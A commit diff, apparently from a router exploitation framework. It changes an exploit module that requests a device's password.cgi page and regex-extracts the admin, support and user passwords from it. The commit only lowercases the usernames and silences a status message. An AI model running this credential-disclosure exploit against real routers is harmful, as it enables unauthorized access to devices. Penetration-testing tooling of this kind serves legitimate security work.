Commit 8c8662ef by Marcin Bury

Usernames lowercase.

parent 3d908c64
...@@ -39,7 +39,7 @@ class Exploit(exploits.Exploit): ...@@ -39,7 +39,7 @@ class Exploit(exploits.Exploit):
creds = [] creds = []
url = sanitize_url("{}:{}/password.cgi".format(self.target, self.port)) url = sanitize_url("{}:{}/password.cgi".format(self.target, self.port))
print_status("Requesting for {}".format(url)) # print_status("Requesting for {}".format(url))
response = http_request(method="GET", url=url) response = http_request(method="GET", url=url)
if response is None: if response is None:
...@@ -47,15 +47,15 @@ class Exploit(exploits.Exploit): ...@@ -47,15 +47,15 @@ class Exploit(exploits.Exploit):
admin = re.findall("pwdAdmin = '(.+?)'", response.text) admin = re.findall("pwdAdmin = '(.+?)'", response.text)
if admin: if admin:
creds.append(('Admin', admin[0])) creds.append(('admin', admin[0]))
support = re.findall("pwdSupport = '(.+?)'", response.text) support = re.findall("pwdSupport = '(.+?)'", response.text)
if support: if support:
creds.append(('Support', support[0])) creds.append(('support', support[0]))
user = re.findall("pwdUser = '(.+?)'", response.text) user = re.findall("pwdUser = '(.+?)'", response.text)
if user: if user:
creds.append(('User', user[0])) creds.append(('user', user[0]))
if creds: if creds:
print_success("Credentials found!") print_success("Credentials found!")
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment